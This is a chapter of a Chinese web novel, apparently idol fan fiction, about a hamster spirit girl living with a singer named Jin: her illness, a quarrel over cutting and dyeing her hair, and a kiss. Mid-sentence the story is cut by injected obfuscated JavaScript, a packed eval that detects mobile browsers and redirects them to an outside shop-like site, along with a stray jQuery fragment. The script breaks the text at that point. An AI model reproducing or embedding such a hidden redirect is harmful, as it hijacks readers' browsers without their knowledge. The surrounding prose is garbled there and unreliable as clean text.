12.第一条命
作品:《[娱乐圈]鼠鼠的美好品德》 经纪人眼神越看越怪。
频频盯着后视镜。
“Hiong,看路。”Jin无奈,“我和波莉的性命可都在你的方向盘上。”
经纪人:“呵呵……”
那他倒是松开揽住兰波莉睡觉肩头的胳膊啊。
瞄来瞄去,车辆总算驶入市区。
“波莉,到家了。”Jin眉眼低垂,抬起她的脸,轻轻抚摸:“醒一醒,拿了换洗的衣服去欧巴家里再睡。”
光滑温凉的皮肤蹭过掌心。
兰波莉被饲养员一号搂在怀里,脸垂不下去,眼皮也重得抬不开。
给饲养员一号发送完地址,兰波莉才想起来自己是妖,能用妖力恢复健康。
她驱使妖丹,修复着身体,银杏叶色的薄雾刚传入四肢百骸,淡白色的小球又露出一截空隙,吓得兰波莉赶紧收手!
妖力来之不易,不能随意使用!
小眼睛人类说了,她只要乖乖打点滴就能恢复健康……还、还是忍一忍吧……
忍了又忍的金丝熊奔波了一天,又是困倦又是中暑,小脸上全是不情愿,偏头埋进饲养员一号的掌心蹭了又蹭——
热乎乎的,连带着她也很舒坦。
可是不行…波莉是爱干净的金丝熊。
当鼠的时候用浴沙,当人的时候用水,不管如何,都得洗完澡再进行交/配活动……
唔,活动完也要再洗洗才行……
“欧巴……好累,腿也好痛,我好像走不了路了……”
接到人时,Jin取走李曦承的衬衫,看见她小腿两侧未经处理的细碎划痕,一道道印在白皙的皮肤便已经心疼不已。否则他也不会带有怨气地制止李曦承再与波莉接触。
“好好好,那欧巴背你回家好不好?”
Jin本想说抱,可父母住在别墅,一楼大门无遮无拦,万一又有私生或狗仔就不好了。
他率先下车,左腿向后抵在车上,弯下背:“上来吧。”
细细瘦瘦的手臂攀附上来,兰波莉抱住他的肩头,哼哼唧唧:“欧巴真好……”
“阿西!”下车的经纪人没眼看,抖开外套遮住兰波莉的腿和Jin交叠托在兰波莉屁股上的双手。
Jin好不好的他不知道,也没感受过!
只知道自己命很苦!
阿姨已经下班了。
Jin把人放在客厅沙发,兰波莉滚了一圈,抱住抱枕又想睡觉。他自个儿去二楼,开着波莉卧室房门,边整理行李,边询问她的意见。
“衣服我看着捡咯?”
“嗯嗯……”
“睡衣要带吗?”
“要……”
经纪人坐立不安地抹着膝盖。
30岁的男人翻19岁的小姑娘的衣柜。
说出去名声全完了!
“要带哪套?”Jin又拎着两套睡衣出来,“这套长袖的,还是短袖的?”
兰波莉被问得睡不下去了,恹恹地坐起来:“……不要这套草莓的。”
上次她穿草莓睡衣,饲养员一号就跑路了。
草莓不吉利,从今往后不要再提了。
踩着饲养员一号摆在沙发边的拖鞋,波莉慢吞吞上楼。
“偶妈说夏天要穿短袖的……要蓝莓的~”
Jin忍不住点点她的鼻尖,笑眯眯地逗她:“波莉分得出来吗?”
“分的出来,哼。”兰波莉黑宝石一样的眼睛骄傲地扬起来:“圆圆的图案是蓝莓,尖尖的图案是草莓!”
“真聪明。”Jin连连直笑,“外穿的衣服我都挑好了,剩下的波莉自己来整理吧,我先下楼去给你挑两双搭配的鞋子。”
“内~”
跟上二楼,杵在卧室门口的经纪人舒了口气。
“Hiong,为什么这个表情?”Jin纳闷,“我看起来很像变态吗?”
经纪人眼神充满深意地摇头。
Jin没得意两秒。
他又说:“你就是啊!Jin,谁家哥哥对妹妹如此大包大揽的。”
“我可是人生三十年头一回拥有自己的妹妹。”Jin不听,径直推走经纪人,“Hiong你是不会懂我的。”
两箱行李、惯用的日用品,以及兰波莉新学的乐器伽倻琴都带上了。
这是搬家吗?
抵达首尔龙山区汉南洞的The Hill小区,经纪人一边吭哧吭哧搬行李,一边嘀嘀咕咕:哎一西,金夫人都说了海外行程就一周,至于连她吃饭爱用的碗筷都带上吗?!
Jin你个抠门精,赚这么多钱,就不能给她多买一套吗?!
“到家啦——”
Jin哼着铛铛铛裆,让兰波莉尽情参观。
没有豪华的吊顶,没有陈列艺术品。
他的家不是艺术馆,更没有铺满了床垫。
洁白纯净的墙面,线条简洁的电器,淡木色的地面和柔软材质的家具,零散的侄子玩具、料理台、客厅、阳台随处可见的小盆栽们共同构成了这片舒适温馨的空间。
“波莉你先看,我去帮忙拿东西上来。”
“嗯嗯~”
饲养员一走,睡得半醒的兰波莉鼠不停蹄,先把客厅和厨房大致扫视一遍,再推开每一扇门,探进去脑袋观察。
一楼的洗手间……
唔,偶妈说这是给客人用的。
仓储间……
好多拉面!
兰波莉一秒不到便退出来。
拉面吃多了咸咸的,眼睛也会发红想流泪,她不喜欢!
这个小房间里的床为什么这么古怪?
又像沙发又像床的?
兰波莉不感兴趣。
再噔噔噔跑上二楼,照旧每一间都看看,还闻到了饲养员一家熟悉的味道。
唔,这间有好多亮闪闪的箱子,墙上的柜子还站满了各色的玩偶小人。
不是睡觉的房间,放弃!
“怎么样,挑到喜欢的房间了吗?”
两个人搬运,效率大大提升,Jin倚在楼梯入口的墙上,纵容着波莉的好奇。
“本来只买了一套,装修过程想到——阿爸偶妈还有哥哥一家要过来的话怎么办呢,所以又买了另一套面积差不多的住宅。波莉要是不喜欢这里的话,我带你去隔壁看看。”
经纪人在背后戳他的腰:“呀,为什么不对我说这话,只让我睡楼下的保姆房。”
Jin干笑:“哥你不是偶尔才过夜嘛,而且那是我的影音室,不是保姆房。”
“我要这间——”兰波莉不懂男人的哀怨,细细苗苗的嫩手一指,嘟嘟嘟跑进去,往宽阔的一米八大床前一站,双臂展开:“波莉要睡这间。”
经纪人先看看床,没有躺过的迹象。
“波莉打开衣柜看过吗?”得到她肯定地摇头后,经纪人敬佩地鼓掌,“还真是有默契啊。”
Jin一向整洁干净,个人物品都归纳得很好,又不在卧室打游戏。
可波莉偏偏能挑中他的卧室。
既然答应了,Jin便不会反悔。
“好,我去把你的行李拿上来,波莉看下要吃什么,选一下外卖。”他干脆地递出手机,转头对经纪人说:“哥,今天辛苦你了。”
经纪人脸一垮:“我可是从庆尚北道开到京畿道再开回首尔的,整整五个多小时啊!”
起码留他吃个饭吧!
“辛苦了!哎一古,真是能人勇士啊!”Jin重操旧业,继续把人往外推,什么都好说,别来打扰他和波莉的兄妹时光才是真的:“我马上就给哥发一个红包,再给哥放两天假期,好好休息!就这样,有什么事我们KKT联系!”
一路连推带搡送到玄关,Jin在经纪人背叛的眼神下合拢门。
再不走他压力很大啊。
他真的不是变/态,喜爱波莉也是人之常情,哥又不是波莉的欧巴,怎么能理解他的心情。
算了,跟不懂二次萌妹走入三次的人聊不来。
拎着行李箱进房间,Jin又被兰波莉萌了一大跳,她甩开了拖鞋,整个人趴在床边的地毯上,翘着小腿在翻手机,嘴里念叨着菜名。
蛋糕裙都飞起来了。
是白色的…
“哎……”Jin捂住眼睛,拿起盖毯先覆住她的双腿,才跟着盘腿坐下:“为什么不去床上躺着呢?”
不喜欢床单的颜色吗?
要不要换一款,感觉波莉会很适合冷色调。
“偶妈说没洗澡、换过家居服前不能躺在床上。”
“那就去洗澡换衣服呀。”
兰波莉又托着脸看他,软绵绵地撒娇:“可是欧巴让我先点菜,而且衣服也没有拿上来呀。”
人,波莉是有生活秩序的金丝熊。
偶妈教得很好呢。
Jin失笑,揉揉她的发顶:“知道了,波莉现在去拿衣服洗澡,欧巴来挑选晚餐,再帮波莉收拾行李,可以吗?”
不用干活?
“好耶~”
兰波莉翻身坐起来,盖毯又滑落了,没等Jin避开视线,往他怀里扑了一下,又兴奋地跑开,打开行李箱,翻出来家居服,一件件举起来确认。
“睡衣、裤子、袜子……”
“文/胸、内/裤……”
白底粉点。
Jin只恨自己视力太好。
“欧巴我去洗澡啦~”
头一回,总是对女生们报以铜墙铁壁的Jin失去了过往游刃有余的手段。
迅速地低下脑袋,头发遮住红透的耳尖。
“嗯嗯,去吧。”
挑战仍在继续。
洗完澡,兰波莉在睡衣外披着浴巾,灰蓝的长发像海藻披在肩头,跑来找整理完衣物,好不容易压下害羞的Jin。
“欧巴,吹头发。”
“我吗?”Jin手指着自己的鼻子,“平常在家谁给你吹的头发?”
饲养员二号。
“偶妈~”
果然!
偶妈也太宠波莉了……
Jin任劳任怨地翻出来吹风机,在镜子前帮她吹着长发。
湿气氤氲的明亮浴室,沐浴露和洗发水在她颈侧散发出气味,又甜又柔的香气,还夹杂着清爽的橙花,是Jin一贯爱用的甜香,此刻更显得浓郁腻人,源源不绝。
他喉结微动,不敢再垂首,眼光飘来飘去,落在她的发间。
兰波莉打了个哈欠,继续玩自己的发尾,揪住一绺在鼻子前细嗅——饲养员一号每一瓶洗浴用品都很香,她很喜欢。
“话说……波莉,你会不会觉得头发太长了?”
她浑然不觉饲养员的想法,乌润润的黑眸只顾着瞧自己是怎么撅起嘴,用人中叼住那一绺头发的,说话都变得嘟囔起来了。
“不会呀,波莉喜欢头发。”
她们蓝波利的灰蓝顶毛渐边可是稀有色呢~
好不容易把一头又长又密的长发吹干,什么旖旎都散得七七八八了,Jin又拿起梳子,顺带仔细的左瞧右瞧,剪到哪个长度能让波莉好接受一点呢。
“好了吗?”兰波莉凑近,伸手用指尖戳戳他的胳膊。
好困,她想睡觉了。
可为什么……饲养员一号身上发.青的气息总是时有时无的?
是他还没有发育完全吗?
“好了。”Jin捋了捋,确认顺毛,“外卖显示送达了,我去门口拿,波莉把浴室掉下来的头发捡一下。”
给波莉吹头发,真是一项大工程啊。
“内~”
喂养波莉的第一天。
给波莉上药,投喂波莉,看她脑袋点地,腮帮子呆呆的一嚼一嚼,趁机拍了不少照片。临睡前婉拒了波莉的邀请,在她茫然的视线中道声晚安,关上游戏房的大门。
照料波莉的第二天。
叫早失败,Jin自己都没能起来。
日过半午才给她选出来漂亮的小裙子,戴着贝雷帽压住头发,带她出门去复诊,做检查,按住扁嘴畏怯的波莉,给她擦半滴泪都没掉的眼角。得到医生一句你对女朋友真是贴心的称赞,Jin低头笑笑,没有澄清。
晚饭后,借机说抽血手疼的波莉不想练琴,Jin包容,并默许她在自己的游戏房里晃来晃去。波莉玩会儿手机,又来干扰他打游戏,Jin拿她没法,只好镇压在怀里,回答她好奇古怪的问题。
教着教着,波莉又歪着头睡着了。
凌晨时分才被喊醒,洗澡、吃宵夜,她埋头叼着年糕,耳后是乌拉拉的风声,他的手指在她的发间摩挲。
第三天,波莉好得差不多了。
偶妈发来消息提醒,必须得上课,否则开学前没办法通过考核,波莉就不能入学了。
伽倻琴老师登门授课,兰波莉举着纤纤十指跟弹,架势十足,指风劲道。
“好听!”Jin面不改色,听完一整节课软绵绵的琴音,仍能大力鼓掌,诚心夸赞:“波莉进步得真快!”
你们这群亲属!不要再溺爱了啊喂——
伽倻琴老师表情狰狞了一瞬,她都担心自己一生师德毁于兰波莉之手!
呼吸、深呼吸……
看在钱的份上!
她忍了!
那当然啦~
她可是金丝熊里最会弹棉花的妖精了~她窝里的棉花都是蓬松柔软得恰到好处呢~
心满意足的兰波莉沉浸其中,对老师的情绪一无所觉。
经纪人看向Jin的耳蜗,一点点黑色绰现。
咦——竟然戴耳机,真是用心险恶的大人!
练完琴,兰波莉累了,抱着饲养员一号给的爆米花坐在沙发上看寓教于乐的动画片。
“你确定要给她剪头发?”经纪人站在料理台前,端着咖啡杯,问:“我总觉得波莉不会同意的。”
Jin虽不像金夫人那样巧手,但对照着攻略,也能帮波莉扎出来好看的发型。光看这点,便知道波莉爱惜头发,何况留到腰上起码得两三年的功夫,她不一定舍得。
“不行啊Hiong……”Jin也哀怨,“吹起来真的很费力,得吹半个小时才能干透呢。”
还只能在浴室这样令人遐想的地方,跑到宽敞的卧室或客厅,吹落的头发又很难清理。
经纪人更惊恐了。
什么好外甥啊,天天给小姨吹头发!
Jin你不觉得太越界了吗?!
“您好,”Jin接起电话,“到楼下了是吗?好的好的,我这就来开门。”
嗯……这个汤姆怎么会这么蠢呢?
不过没关系,她,兰波莉可是像杰瑞一样机智的仓鼠~
兰波莉咔擦咔擦咬着爆米花,连Jin走到玄关,给突然拜访的新客人开门都没察觉。
剪刀!
什么叫剪头发?
兰波莉猛地起身,爆米花打翻,撒了一地。
“波莉,剪短发就不容易中暑了——”
出门剪发容易遭到围观,Jin特意拜托了熟悉的造型师带着工具上门,第一步就卡在本人强烈反对上。
兰波莉娇小,身手又敏捷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292211|197991||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,养了三天的身体已恢复健康,哪里是舍不得下重手的Jin和压根没努力的经纪人能捉住的。
如临大敌的她躲到沙发背后,用力摇头:“不要,不要!我不要剪头发!”
造型师剪刀都举累了,哭笑不得道:“Jin xi,要不还是算了吧。波莉nim的头□□亮又醒目,还不容易与其他人撞款式,她肯定舍不得剪头发。要知道,想染出这么均匀的蓝灰色,可是要费很多心血的。”
“正是因为特殊……”所以波莉才容易被人认出来啊。
虽然公司没收到出差十五夜录制的照片,但想必风声已经传遍了Hybe。
一想到波莉和崔燃竣、李曦承扯上了关系,Jin就忍不住烦躁头疼。
“不剪的话,那染色呢?”
Jin看似退而求其次,实则趁机提出核心需求。
本来早就该染了,只是他想着波莉头发看起来像新染没多久的,没必要,说不定十天半个月就褪成了其他颜色。
谁知道隔了一个多月再见面,她发顶还是蓝灰的,一路由深到浅晕染到末梢。
唧——!!
兰波莉就是蓝波利!
没有进入下一阶段化妖前,她的毛色是不能改变的!
饲养员一号这几天又不跟她交.配,竟然还想在她的毛毛上涂染料!
“西喽!”
兰波莉又惊又惧,眼泪都掉下来了,一把跑到楼梯上,对着饲养员一号大叫:“讨厌Jin!讨厌讨厌!”
“怦!”
主卧的门重重关上。
礼貌地送走爱莫能助的造型师,对方还不忘从波莉的角度替她说话:“Jin xi也该理解一下,青春期的小朋友本来就比较敏感。决定发色、发型、头发的长度,都是她们想掌握自身主权的一种证明。”
“艺人不也是么。有时候想染的颜色得让给队友来染,自己不想染的颜色公司又偏要让你保持。”
Jin沉思良久,又给偶妈打去电话咨询。
“染发吗?……诶,你不知道吗?那个发色是波莉的本色呀……哦对,你一直没回家,我就忘记跟你说了。”
偶妈跟Jin最初的想法一样。
“后面我带她又去了一趟医院,医生查了毛囊和基因,确认波莉的发色是某种罕见的遗传病——蓝色部分其实是毛囊病变,随着头发的生长,色素集中在靠近毛囊的前端,没有营养的尾端会逐渐成褪灰色……”
“波莉她…不是那种在丧期染显眼发色吸引眼球的孩子。”
送走经纪人,Jin在房门口晃了好半天。
犹如装了半瓶水,在狭窄的井口晃来晃去,叮呤咣啷地撞着愧疚的心房。
他反复深呼吸着,终于下定决心,去敲房门。
“波莉?”
里头没有回应。
“我进来了……?”
Jin缓慢地转动把手,万幸,门没锁。
听见动静,四肢摊开在床上趴着的波莉把头一甩,用后脑勺对准他。
兰波莉还在小声抽噎。
坏蛋饲养员一号!
怎么可以想要动她的头发!
天知道,为了做人,她已经牺牲了很多了……
背上、手上、腿上都没有了毛毛,只剩下头上这一点点了,他竟然要剪短,还要染色!
熊妖祖宗奶奶——
做人好苦啊呜呜呜……
Jin小心地坐在床沿,摸了摸枕头。
约莫他手掌大的一滩濡湿。
“对不起……”
Jin只给一群不听话的臭小子们当过哥哥。
他不像成员们,有充沛的经验应对女生。
面对女爱豆的示好,他会礼貌拒绝;面对狂热的女粉,他会不失幽默的打哈糊弄。
可遇到波莉的委屈,Jin只觉整颗心都被她揉皱,紧巴巴地填在胸腔里。
颠来倒去的,只会说着对不起。
“我不知道波莉的头发是天生这么漂亮的颜色……”思忖良久,Jin决意脱掉鞋子,躺了上来,面朝着波莉,微凉的泪痕贴在他的脸颊,他放缓了声音,一句一句地剖析着眼前的情况。
什么叫做私生粉会跟踪……
韩国社会的同质化压力和集体潜意识又是什么?
头发颜色不同会被打成另类和异端,校园霸凌很恐怖嘛,饲养员一号闻起来好苦涩……
犹如天书的内容让兰波莉脑袋晕乎乎的,她不由自主地翻了过来,专注地盯Jin。
“人,你担心我。”
“是的……”
Jin一声轻叹,一直压抑的情绪泄了道口子,他单手环抱住波莉的腰,将她拽得更近一些。悬着泪的长长的睫毛下,那双水水润润的眼睛仍然像一汪清澈见底的泉水,写着她透明干净的心思。
他在担心波莉。
担心波莉未来可能会遭到不公的待遇,在他看不见的地方,像这次一样受伤……
担心……
她被别人抢走。
别那么亮眼,别那么醒目,不要再对其他人展露明媚纯真的笑容,不要对他们交托信任。
那群臭崽子们全是包装好的商品,看似精致,实则空心。
骨节分明的手挡在兰波莉的脸前,温热的呼吸微微颤抖着扑在他的掌心。
他变热了。
兰波莉想凑上去,闻闻他的颈侧确认。
双手却被Jin箍着,抬高到脑袋上方。
翻身,凌空在上方的Jin双膝分开,跪在原本属于自己的床上,甜腻又可爱的人被他带着,由侧躺转为平躺。
微长的额发挡住难捱着情绪变化的秀丽眉眼。
“别看我…波莉……”
Jin嗓音微哑,不敢去看她没有任何防备的表情。
睫毛滑过指腹。
兰波莉不解。
嗯?
她没有呀。
兰波莉刚想说话,“我”只发了个音,便被伏低身子的Jin给吞了回去——
他有点急,又凶巴巴的,软软糯糯的嘴唇贴了上来。
微张的唇,唇瓣厚薄适中。
Jin则不同,有着肉嘟嘟的唇,圆润微凸的唇珠。
比起他的气血充盈,兰波莉更偏浅白的粉,像粉荔枝玫瑰的花瓣。
软软柔柔。
他如愿以偿,吃得啧啧有声,让软软柔柔的花瓣变得嫣红湿润,吐着节奏错乱的呼吸。
(审核老师只有接吻求求了别卡我谢谢谢谢谢谢!!!)
潮湿,热。
从尾椎传来。
将兰波莉脸颊和耳朵也染得通红。
“欧巴,”她低声叫他,“我、我好奇怪……”
为什么发.青要咬她的嘴巴?
好可怕……
波莉差点以为自己要被Jin嗷呜一口吃掉了……
Jin猛地睁开眼,从她身前抽离,整个人惊慌地站在床前。她迷蒙的、湿漉漉的眼睛,是他留下的罪证。
“对不起!”
Jin先移开了视线,抿抿唇:“我、时间不早了!你该睡觉了波莉!就这样——”
“晚安!”
他再一次落荒而逃。
兰波莉慢了半步的胳膊没来得及扯住饲养员一号。
“诶……”
金丝熊疑惑。
“嗯?”
金丝熊发帖咨询。
“哈——”次日,金丝熊友人差点想跳起来了:“你是说J……他亲了你吗?!”

